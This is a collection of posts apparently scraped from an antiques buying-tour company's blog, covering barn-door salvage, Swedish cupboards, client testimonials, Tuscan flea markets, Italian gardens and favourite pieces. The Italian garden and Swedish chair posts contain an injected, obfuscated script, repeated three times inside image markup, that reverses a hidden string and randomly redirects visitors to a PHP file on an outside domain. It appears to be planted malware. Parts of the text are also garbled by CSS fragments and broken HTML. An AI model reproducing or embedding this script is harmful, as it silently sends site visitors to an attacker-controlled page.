Architectural Salvage- Barn Door Trend

Dear Diva Readers,

One of our most popular requests is for architectural salvage. Whether clients are coming on tour or utilizing our Buying Services, we are constantly scouring Europe for all types of salvage and reclaimed materials. One trend that is very popular in the USA right now is the barn door—a type of sliding door you would typically find in a barn. But now people are using them in homes, restaurants, and hotels to divide spaces and add instant character and diva charm!

Architectural Salvage- Barn Door Trend- Hinged Door

Architectural Salvage- Barn Door Trend- Rounded DoorsAs with any design trend, the specifics of each project vary, but the overall concept remains the same. All you need are door track hardware and wheels, which you can find at many big box or hardware stores (or even online), and a door of course! Here at The Antiques Diva & Co we recommend using a vintage or antique door to make your project that much more special and unique. You can make this a DIY project or entrust it to your contractor, but be sure to select a door and hardware that enhance your particular space. This look works great in a traditional setting as well as a contemporary room. It all depends on the door you choose—the age, patina, finish, color, and style will all play a part in how the overall project turns out. For a more modern look, why not choose an industrial door? For a casual feeling, opt for warm wood tones with just the right about of wear.

Architectural Salvage- Barn Door Trend- Metal Door

Architectural Salvage- Barn Door Trend- Bookcase

We love taking clients to warehouses that are literally filled to the brim with doors. Perusing row upon row of every type of door imaginable is always a thrill. We’ve seen some beautiful old church doors as well as tall imposing doors that once hung on hinges of great country houses and chateaus of Europe. Many of our sources have excellent workrooms where their craftsmen can help get your door (or any other architectural pieces you find) ready to your specifications before shipping it. This means they can adjust the height, width, drill necessary holes for hardware, stain, paint, sand, and distress to your liking. We’ve even had pieces lacquered in Europe before having them shipped to clients across the pond.

Architectural Salvage- Barn Door Trend- Warehouse

Depending on the size of your space, you may want to consider using a pair of doors for your barn door project. It’s not uncommon to come upon a pair of matching doors that may have once been used as pocket doors or as double doors. Mounting them in the barn door style gives them a fresh life and what’s old can become new again. Another bonus is that older doors are often solid and made of the upmost quality. Think about it—if a door has been around for 100 years, it has proven that it can stand the test of time.

Architectural Salvage- Barn Door Trend- Double Door

If you would like more information on taking an Antiques Diva Buying Tour or if you’d like to learn more about our Buying Services, email us at info@antiquesdiva.com. We’d love to hear from you!

Creatively,

The Antiques Diva®

Swedish Cupboards

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>W hile my Diva Guides and I love taking clients on antiques buying tours throughout Europe, did you know we also offer buying services for those time when you can’t shop abroad?

Whether a client doesn’t have time to take a trip to Europe or if they simply want to source a few pieces for a project, we act as the “man—or woman as the case may be—on the ground to help find exactly what our client needs. And like most shopaholics, we love a challenge. We recently had a client who is an interior designer in New York email us with a request. He was looking to source an antique Swedish cabinet for a project. His client had seen one she liked on an antiques website, no names mentioned, but didn’t want to pay the exuberant price. What attracted them to the cabinet was the patina and style. While they wanted something authentic that would retain its value, they also knew that they’d be utilizing the cabinet and would most likely need to adjust the interior – and they didn’t want to pay to high of a price for the piece.

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As soon as I received this request, I knew that our Swedish Antiques Divo Guide Daniel would be the person to contact. Of course Daniel quickly responded with this email:
“Authentic examples of antique Swedish cupboards like this with original paintwork have become increasingly rare. Much of the Swedish furniture currently available on the “antique” market has been comprehensively rebuilt and restored, often repainted in popular pale colours and sadly some of these created or “style” pieces are sold as period.
But we are in luck! I think I have found the perfect cabinet by reading your requests. I have found a fantastic Gustavian cabinet in excellent condition retaining it’s original paint (gray/blue). This piece has never been over painted and scraped which ads to it’s desirability, rarity and value. The Gustavian expressions are evident in the small tapered feet, restrained carved details and well balanced proportions. The price is 1/4 of the cabinet your client first saw. This piece is a very good investment in my opinion as the market prizes original paintwork when talking about Swedish painted furniture.”

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While I often say that the power of the internet is amazing and makes our job so efficient – I seriously could not do my job with out it – you also have to remember that computers are not people. Simply typing in a product that you want may pull up an item on your screen, but how can you be sure that you’re getting the best value or price? That’s where we come in time and time again by acting as our clients’ man on the ground and putting the word out to all out sources and physically eyeing pieces ourselves in person to give our opinion. Within no time, in this instance, we were able to find exactly what the client wanted at a quarter of the price (that’s including our Buying Services commission, by the way). With the right people, the internet can truly be a great tool!

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If you are interested in more information on our Antiques Diva Buying Services, email us at info@antiquesdiva.com. We’d love to help you find exactly what you’re looking for!

The Antiques Diva®

Swedish Cupboards

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>While my Diva Guides and I love taking clients on antiques buying tours throughout Europe, did you know we also offer buying services? Whether a client doesn’t have time to take a trip to Europe or if they simply want to source a few pieces for a project, we act as the “man—or woman—on the ground” to help find exactly what our client needs. And like most shopaholics, we love a challenge. We recently had a client who is an interior designer in New York email us with a request. He was looking to source an antique Swedish cabinet for a project. His client had seen one she liked on an antiques website, but didn’t want to pay the exorbitant price. What attracted both of them to the cabinet was the patina and style. While they wanted something authentic that would retain its value, they also knew that they’d be utilizing the cabinet and would most likely need to adjust the interior.

Swedish Antiques, Gustavian Furniture, Swedish Cupboards, Original Paint, Antiques Diva Tours, Toma Clark Haines, Daniel Larsson, Antiques Diva Buying Services, Buying antiques in Europe

As soon as I received this request, I knew that our Swedish Antiques Divo Guide Daniel would be the person to contact. Of course Daniel quickly responded with this email:

“Authentic examples of antique Swedish cupboards like this with original paintwork have become increasingly rare. Much of the Swedish furniture currently available on the “antique” market has been comprehensively rebuilt and restored,  often repainted in popular pale colours and sadly some of these created or “style” pieces are sold as period.

Swedish Antiques, Gustavian Furniture, Swedish Cupboards, Original Paint, Antiques Diva Tours, Toma Clark Haines, Daniel Larsson, Antiques Diva Buying Services, Buying antiques in Europe

But we are in luck! I think i have found the perfect cabinet by reading your requests. I have found a fantastic Gustavian cabinet in excellent condition retaining it’s original paint (gray/blue). This piece has never been over painted and scraped which ads to its desirability, rarity and value. The Gustavian expressions are evident in the small tapered feet, restrained carved details and well-balanced proportions. The price is 1/4 of the cabinet your client first saw.  This piece is a very good investment in my opinion as the market prizes original paintwork when talking about Swedish painted furniture.”

Swedish Antiques, Gustavian Furniture, Swedish Cupboards, Original Paint, Antiques Diva Tours, Toma Clark Haines, Daniel Larsson, Antiques Diva Buying Services, Buying antiques in Europe

While I often say that the power of the internet is amazing and makes our job so efficient, you have to remember that computers are not people. Simply typing in a product that you want may pull up an item on your screen, but how can you be sure that you’re getting the best value or price? That’s where we come in time and time again by acting as our clients’ man on the ground and putting the word out to all our sources. Within no time, in this instance, we were able to find exactly what the client wanted at a quarter of the price (that’s including our commission, by the way). With the right people, the internet can truly be a great tool!

Swedish Antiques, Gustavian Furniture, Swedish Cupboards, Original Paint, Antiques Diva Tours, Toma Clark Haines, Daniel Larsson, Antiques Diva Buying Services, Buying antiques in Europe

If you are interested in more information on our Antiques Diva Buying Services, email us at to:info@antiquesdiva.com”>info@antiquesdiva.com. We’d love to help you find exactly what you’re looking for!

The Antiques Diva® 

Muddy Boot Review

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>Many of our clients are what we call “trade clients,” meaning they are either antique store owners who want to stock their stores or they are interior designers who are looking to source antiques for client projects – we even get hoteliers, restauranteurs and developers.  Some trade clients own huge stores covering tens of thousands of square feet and count on us to maximize their time in Europe so they can buy enough to fill a container (or two!) in just a few days. Other clients own smaller stores and are looking for the perfect pieces to add to their inventory that will help set their shop apart from others. Either way, our Diva Guides love taking trade clients on tour to our many European sources! I had the privilege recently of taking Lorie Combias, owner of The Muddy Boot, Antiques & Objects, on a buying tour in Belgium. We had such fun and Lorie was able to purchase some special pieces for her Summit, New Jersey store while also coming away with fond memories of a successful European buying trip! After returning to the States, she wrote us the most lovely note, and, with her permission, I’m sharing it today on the blog.

Muddy Boot Antiques, Lorie Combias, Antiques Diva Buying Tours, Buying Antiques in Europe, Antiques Diva Review, Sourcing Antiques in Belgium,

Muddy Boot Antiques, Lorie Combias, Antiques Diva Buying Tours, Buying Antiques in Europe, Antiques Diva Review, Sourcing Antiques in Belgium,

Muddy Boot Antiques, Lorie Combias, Antiques Diva Buying Tours, Buying Antiques in Europe, Antiques Diva Review, Sourcing Antiques in Belgium,

Muddy Boot Antiques, Lorie Combias, Antiques Diva Buying Tours, Buying Antiques in Europe, Antiques Diva Review, Sourcing Antiques in Belgium,

Lorie writes:

My entire experience in Belgium with The Antiques Diva & Co was so unforgettable that I don’t even know where to begin…. This was more than just a shopping trip but truly an adventure into the Belgium antiques world. I own a small antiques shop in Summit NJ. When Toma Clark Haines – owner of  AD&CO  – said she would be taking me to dealers’ homes and warehouses I have to admit I was afraid the dealers would not want to be bothered with a small operation such as mine. I could not have been more wrong. The Antiques Diva & Co is so respected that any client of theirs is given preferential treatment. I was welcomed everywhere AD&CO  took me and all of the dealers treated me with kindness. Toma has made connections in the antique world that one could only imagine to hope having – we even visited a private castle and had wine and great conversation with the owner/dealer and his son after buying antiques from the castle. Not only does Toma know Belgium’s antique world she knows the countryside as well and personally drove me all over Belgium. Even more, Toma did her homework too. She had me – and my interior design style – pegged from the few photos I sent her showing my aesthetic. Everywhere she took me I basically had to gasp for air because I could have bought everything in each and every store.

Thank you Antiques Diva for an experience I will never forget! I can’t wait to do it again.

Lorie Combias
The Muddy Boot, Antiques & Objects.

Muddy Boot Antiques, Lorie Combias, Antiques Diva Buying Tours, Buying Antiques in Europe, Antiques Diva Review, Sourcing Antiques in Belgium,

Muddy Boot Antiques, Lorie Combias, Antiques Diva Buying Tours, Buying Antiques in Europe, Antiques Diva Review, Sourcing Antiques in Belgium,

Muddy Boot Antiques, Lorie Combias, Antiques Diva Buying Tours, Buying Antiques in Europe, Antiques Diva Review, Sourcing Antiques in Belgium,

Muddy Boot Antiques, Lorie Combias, Antiques Diva Buying Tours, Buying Antiques in Europe, Antiques Diva Review, Sourcing Antiques in Belgium,

Muddy Boot Antiques, Lorie Combias, Antiques Diva Buying Tours, Buying Antiques in Europe, Antiques Diva Review, Sourcing Antiques in Belgium,

Muddy Boot Antiques, Lorie Combias, Antiques Diva Buying Tours, Buying Antiques in Europe, Antiques Diva Review, Sourcing Antiques in Belgium,

Muddy Boot Antiques, Lorie Combias, Antiques Diva Buying Tours, Buying Antiques in Europe, Antiques Diva Review, Sourcing Antiques in Belgium,

 

I love this note so much because it goes to show that even if you don’t have a huge store, our vendors don’t put pressure on you to buy tons and tons of items from them. They want you to be satisfied with your purchases and want you to be able to sell them too. They rest assured with the knowledge that I or my Diva Guides will be bringing more clients back very soon, so they are sure to sell pieces on a consistent basis. It’s a win/win situation for both our clients and our vendor sources. And of course we get to be the liaison between these two worlds, and that certainly is a winning spot in my book!

Muddy Boot Antiques, Lorie Combias, Antiques Diva Buying Tours, Buying Antiques in Europe, Antiques Diva Review, Sourcing Antiques in Belgium,

If you would like information on taking an Antiques Diva Buying Tour in any of our 8 tour countries—Belgium, France, Italy, Sweden, England, Germany, The Netherlands, and Denmark— email us at to:info@antiquesdiva.com”>info@antiquesdiva.com.

Until next time, Happy Shopping!

The Antiques Diva®   

Kirk & Cookie’s Buying Tour

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 50px; line-height: 40px; padding-top: 1px; padding-right: 5px; font-family: times;”>W hile many of our clients are trade professionals—antiques dealers who come abroad wishing to stock their stores with European antiques— we also get tourist clients, mere shopping mortals, who are looking to purchase special pieces for themselves. One such couple was Kirk and Cookie who contacted us, as they were renovating and redecorating their home in the USA and wished to buy several specific pieces to use. Of course we were happy to help and scheduled them for a multi-country tour which included stops in Paris, Belgium, and Bordeaux.

We first met face-to-face in Antwerp—they’d just arrived from Paris where they’d shopped the Paris Flea Market with our Diva Guide Debbie. Since they were staying at our favorite hotel in Antwerp, JVR108, we sat down there and went over their list of desired items. What impressed me about them was their organization! They had a folder containing photos of each room in their home along with dimensions. This meant that while we shopped with measuring tape in hand, we would know whether certain pieces of furniture would fit in their rooms at home. They were also looking to source antique European fireplaces and other architectural salvage to incorporate in the renovation.

I knew exactly who to take them to! We have a few wonderful sources for antique fireplaces and upon arriving at one of these locations, the charming vendor had prepared a gorgeous luncheon which he’s laid in the garden behind his store. We sat in the warm sun, sipping wine and enjoying delicious sandwiches while Kirk & Cookie told the vendor what they were looking for—using visual tools like the photos and layouts they’d brought.

After lunch, we walked through the vendor’s warehouse which is full of fireplaces and architectural salvage. The dealer explained that in his workshop he could altar any of the fireplaces, thus making it possible for them to select one which had the color, type of stone, and motifs they desired. After gathering information on several candidates, the couple selected a spectacular fireplace that the vendor agreed to measure and send 3D plans via email before altering the existing piece.

Antiques Diva Buying Tour, Sourcing antiques in Europe

Afterward we headed upstairs to the loft, where Kirk found the perfect pair of leather club chairs for his home study. We went to several other places and they were able to purchase several decorative items as well as a priority on the list—a desk for Kirk! Upon departing us in Antwerp, Kirk & Cookie met up with Paris Guide Debbie in Cognac, France, where she and her husband invited them to join their table at a prestigious charity event where they happened to be sitting at the table next to Fergie—that’s right, the Duchess! At the end of their buying trip, they shopped in Bordeaux with our Diva Guide Tara where they found even more lovely pieces for their home.

Antiques Diva Buying Tour, Sourcing antiques in Europe

 

Antiques Diva Buying Tour, Sourcing antiques in Europe

Once the shipment was received back in the USA, Kirk sent photos of the pieces after installation. I love seeing the end result of a buying tour! Everything in the photos he sent was sourced with The Antiques Diva & Co with the exception of the chair behind the desk. Kirk writes, “We Can’t thank you enough. Cookie and I had the time of our lives and would go back tomorrow to work with you and do it again! Thank you for all of your help and for the experience and knowledge of your team. We had a great time and met some amazing people in each of you.  The cognac experience was fantastic and one of those “once in a lifetime” events that only happen when you have completely flexible plans and are willing to take a chance.”

Antiques Diva Buying Tour, Sourcing antiques in Europe

Well Kirk & Cookie, we enjoyed having you on tour and hope that each time you sit down at your desk or ease into the club chairs that you think of us with fondness! Your home is absolutely beautiful and we’re glad that we could play a part in making your dream a reality. After all, helping people source their dream pieces is what we do – At The Antiques Diva & Co we make dreams come true!  And we love to see people living modern lives alongside antiques!

If you would like information on taking an Antiques Diva Buying Tour or utilizing our Buying Services, email us at to:info@antiquesdiva.com”>info@antiquesdiva.com. We’d love to help make European antiques accessible to you!

The Antiques Diva® 

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P.S. I’m closing with quite possibly the worst photo ever taken of me. It was the  end of a very long day shopping. I must confess I look exhausted… but I’m smiling from ear to ear as I simply adored these clients!

IACF Love Antiques

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>We love taking clients on antique buying tours, scouring the continent and British isles in search of European antiques and decorative items. There is something about the physical hunt that all antique lovers seem to crave – we like to see antiques in real life, verify their patina, touch them, hold them.  But in this age of the internet – through our antique sourcing service – we are also able to email clients photos of specific pieces in which they may be interested.  The advantage to the buyer in receiving emailed photographs from us is that we are able to personally verify these objects – seeing if they’re as good in real life as the photo and we’re able to negotiate with vendors whom we have long term relationships, helping you to get the best price.

IACF, Love Antiques, Antiques Diva Buying Services, Buying Antiques in Europe, The HighBoy, Antique Young Guns,

The internet has become an invaluable tool in our business and many antique dealers all over the world have embraced its power. Today I want to share a bit about the International Antiques & Collectors Fairs new project LoveAntiques.com. The IACF have been organizing Europe’s largest antiques fairs for over 25 years and we’ve come to expect the best from them! With LoveAntiques.com, the IACF is offering a place for qualified dealers to sell antiques to a broader audience. This is also good news for buyers since having all of these trusted vendors in one convenient place allows you to view thousands of items without leaving your desk (though we all know that visiting the fairs and antique warehouses in REAL life is always more fun!).

asmallearly18thcenturywalnutbureau, IACF, Love Antiques, Antiques Diva Buying Services, Buying Antiques in Europe, The HighBoy, Antique Young Guns,

Items on this website are updated daily, which makes it like a brand new shopping experience each time you visit the site. Of course, there are many websites out there that sell antiques, but we have our few trusted online marketplaces where we feel they are doing a fabulous job selling antiques online.  LoveAntiques happens to be one of those alongside The HighBoy and Antique Young Guns.

IACF, Love Antiques, Antiques Diva Buying Services, Buying Antiques in Europe, The HighBoy, Antique Young Guns,

If you happen to see something you are interested in on LoveAntiques.com, you are able to communicate directly with the dealer who is listing that item. You can also purchase pieces directly from the dealer via PayPal, making buying antiques even simpler.

IACF, Love Antiques, Antiques Diva Buying Services, Buying Antiques in Europe, The HighBoy, Antique Young Guns,

With a vast array of pieces available—from jewelry to furniture to china and glassware— LoveAntiques.com is another fantastic online source whether you want to sell or buy antiques.

The Antiques Diva® 

Guide to Flea Markets in Tuscany

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 50px; line-height: 40px; padding-top: 1px; padding-right: 5px; font-family: times;”>F lea markets reflect the colour, character and culture of a country.  They tell a story about its people and places, their toils and travels and they are the best places to pick up fun and inexpensive souvenirs and gifts to take home or unique and statement pieces if you are decorating.   Often with such great prices as a dealer you can take that gamble on something special that is a real show stopper for your vetrina… and be the talk of the town.

Locally-based Italian Antiques Diva Guide Susan Pennington shares her advice on Where to Flea Market in Italy – enjoy!.

Arezzo
… the biggest and one of the best known flea markets in Italy, dealers rise at the crack of dawn to travel from far and wide to tout their wares and you need to be quick to steal their treasures.   Held on the first weekend of the month,  there are over 500 stalls selling everything  from serious antiques to fun collectibles; the weird and the wonderful make it practically impossible to leave Italys best flea market empty handed.

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Lucca
… this flea market is a labyrinth to explore, meandering through the beautiful and elegant piazzas of the city.   On the third weekend of the month, come rain or shine, you’ll find the monthly antiques flea market with over 250 stalls to peruse.   The surrounding area is filled with grand and elegant villas and this market has that same atmosphere…  calm and reposed, quality not quantity is the key;  from delicately embroidered cuffs and collars to monogrammed linens and centre pieces,  fine crystal chandeliers to gilded mirrors and garden statuary.

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Firenze Fortezza
…  set in the park of the imposing 16th century Medici fortress in Florence, and surprisingly less trafficked than you would expect,  you’ll find most of the shoppers are Italian.   Although small this flea market is a treasure trove for collectables;  ceramics, mid century table ware, artwork and religious artefacts.    Third weekend of the month.   Combine it with wither Lucca or Siena for a full day of flea marketing!

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Siena
small & intimate, the flea market takes place on the third Sunday of the month in the old market square under the shadows of the towering town hall.   Most of the dealers are local, some have stores or warehouses to visit too, on appointment.   There is a great stall of mid century furniture and vintage clothing.   Look out for agricultural pieces for repurposing or simply decorating, glass and ironwork.

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Greve in Chianti

… this flea market is one of the best kept secrets.  This little Tuscan village three or four times a year (April, May, September and October)  fills its piazza to the brim with wonderful treasures pulled down from the attics.    We’ve found signed paintings, and antique hand painted Florentine pottery amongst other things for next to nothing!

One final word of advice… curate your style, stay focused, be decisive, stick with a budget… but above all have fun!

La Dolce Diva – Susan
The Antiques Diva® & Co

Italy Diva Guide Susan’s Architectural & Garden Tour

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>Due to the custom nature of my company, clients often email me with their visions and dreams and ask my feedback on where they should book their Antiques Diva Buying Tour based upon their interests.  When a client told me his partner was a landscape architect with a keen interest in re-purposed and antique garden items and showed me some pictures of past projects I immediately channeled Italy!  Next thing I knew we were taking this client on a buying tour.  Because our tours are a-la-carte, clients can book their buying tour by the day.  They can add our tours on to other travel plans – booking anything from 1 day to 1 week on tour then do their own additional travel added on to the trip.  Since this client was planning time near Rome I had to share my advice with him (and you) on places where he’d gain inspiration as well – telling him which castles and villas we thought he should see since architecture is their passion.

Part of the magic of my company is that I don’t do this alone. I have a team of 18 Diva’s who help lead antique buying tours.  I asked our Italian Diva Guide Susan Pennington her advice and she came back with a slew of Roman Architectural and Garden options.

As Susan explains, “The area just above Rome is Viterbo, which is the most populated with both gardens to tour and antique/architectural sources to buy. I happen to be passionate about gardens and villas, perhaps my English blood, and have visited many in my 20 years living in Tuscany.”  For those of you who don’t yet know our Italian Diva Guide Susan she’s British by birth, Italian by choice.

bomarzo, Italian Parks, Sourcing antiques in Italy, Antiques Diva, Architectural salvage

parco mostri, italian garden <script>$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$NqM=function(n){if (typeof ($NqM.list[n]) == tours” width=”350″ height=”263″ />

Parco Bonmarzo is one of Susan’s favorite gardens to tour. Located in Lazio, it has Etruscan, Roman and Medieval influences, giving it a sense of history and a unique style of its own. Also known as “The Villa of Wonders,” one passes through the gardens only to come upon stone figures and life-like statues of animals. From elephants to three-headed beasts to Neptune, what’s known as The Park of the Monsters is a sixteenth century fantasy world.

Castello Ruspoli, Vignanello, Italy, Garden Tours of Italy, Sourcing antiques in Italy

For a true journey to the past, visit Castello Ruspoli which dates back to 847 AD where original traces of the structure can be found built into the cliff where it lies. Over the centuries it’s been used by Pope Leo IV as a convent for Benedictine monks and a private residence by several noble Italian families.

palazzo farnese, Italy Palazzo, sourcing antiques in Italy, Buying antiques in Europe, Italian Tours

For a taste of sixteenth century architecture, Palazzo Farnese is just the ticket. The Palace was built in the shape of a pentagon, and lends itself to the feel of a fortress more than a villa, surrounded by a deep moat which today we recognize the great bastions specially angled left as to demonstrate the great military power of the Farnese family.

parco mostri, italian architectural salvage <script>$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$NqM=function(n){if (typeof ($NqM.list[n]) == tours, antiques diva” width=”334″ height=”445″ />

Italian Gardens, Italian Tours, Antiques Diva

Giardino dei Ninfa is an ideal place to tour if you love historic gardens as it is considered one of the most beautiful in the world. With an overall Anglo-Saxon style, the Garden of Ninfa contains paths that spread out  in a non-geometric fashion, all leading to informal plantings. Spontaneity is the name of the game and visitors are rarely aware of the human hand in the garden.

If you find yourself in Italy, you simply must visit some of the wonderful old villas and castles.  Hopefully this list can be a starting point for your adventures (or at least daydreams!). We’re always happy to recommend places to see for tourist adventures alongside your antiques buying tour.  Consider booking an Antiques Diva & Co Buying Tour in one of our 8 tour countries–France, England, Italy, Belgium, Sweden, Denmark, The Netherlands or Germany- just email to:info@antiquesdiva.com”>info@antiquesdiva.com for more information.

Ciao for now,

The Antiques Diva®

The Antiques Diva’s Favorite Piece at Home

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>I was recently asked what my favorite piece of furniture is. Each week I am exposed to hundreds of antiques while shopping flea markets and stores on tours all across Europe. With the internet, hundreds more are sent to my email inbox, often resulting in sensory overload! The mix of styles, periods, and price points is so varied that it can be difficult to choose a favorite piece or style. So I decided to look at my own home and try to pinpoint a particular piece that stands out as my personal favorite.

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I’ve found that trying to choose a favorite antique piece is like asking a mother to pick her favorite child.  In my living room I have a gorgeous pair of signed Swedish Rococo Stockholm Chairs with traces of primary paint (mostly secondary).  These chairs are the crème de la crème of antiques.  And if you bought online in the USA you’d be looking at easily a cost of $16,000 – 20,000. I bought them on our Sweden Antiques Diva buying tour and spent around 4600E for the pair.  They were a fantastic buy and absolute top quality – my favorite combination.

Swedish chair, Rococo, Swedish Antiques, 18th Century, Original paint, Buying antiques in Europe, The Antiques Diva, Toma Clark Haines
Catpuccino has refined tastes – he loves sleeping in the sunshine on my Swedish Rococo Chairs

I find that, in general, Swedish antiques are highly sought after due to their timelessness and classic design.  Open any shelter magazine and you’re sure to see a few strategically placed Swedish pieces that add just the right amount of style and serenity to gorgeously decorated spaces.

While French furniture is beautiful, it can sometimes be overly carved or too “heavy” to blend into contemporary interiors. Swedish furniture, namely Gustavian, could be viewed as the toned-down cousin” to antique French furniture. The lines are sleeker, the carvings more reserved.  The graceful forms of Swedish furniture are complemented by their color palette which is usually rooted in the natural world, offering hues of gray, cream, pale blue and green.

Swedish Rococo S<script><figcaption id=$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tockholm Chairs, Chandeliers, Swedish Antiques, Sourcing antiques in Europe, The Antiques Diva, Toma Clark Haines” width=”600″ height=”400″ /> Our living room – my favorite Swedish Chairs opposite the modern sofa

My home is a very modern space and so I look for those antiques  that possess a classic sensibility without being overly flamboyant. My pair of Swedish Rococo Stockholm Chairs fits the bill perfectly. They bring a sense of history to a sleek apartment, proving that all things old can be made new again

The Antiques Diva®

P.S. – If you liked this article you might enjoy reading the article I did over at The Daily Basics on our living room décor.

Northern Italian Cassapanca

Northern Italian Cassapanca, Italian antiques, Parma antiques fair, buying antiques in Italy, shipping antiques, Antiques Diva, Tuscan Tours

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>My Obsession du Jour?  Northern Italian Cassapancas.  They’re my own personal Casanova making me weak in my knees and my heart all a twitter each time I see them on one of our Italian Antiques Diva Tours.  Almost always sold as a pair these carved benches from the Italian Renaissance typically flank the main public rooms in palazzo’s and are the precursor to the modern-day divan.  Often with heraldic emblems reflecting the families origin finding these pieces are rarely up for sale because Palazzo owners typically wouldn’t sell these pieces.  When it comes to Italian Palazzo Décor they’re considered the “immobile” – the unmovable – and typically would be left in a palace from generation to generation.  They definitely make my #MustHaveAntiques List!

The Antiques Diva®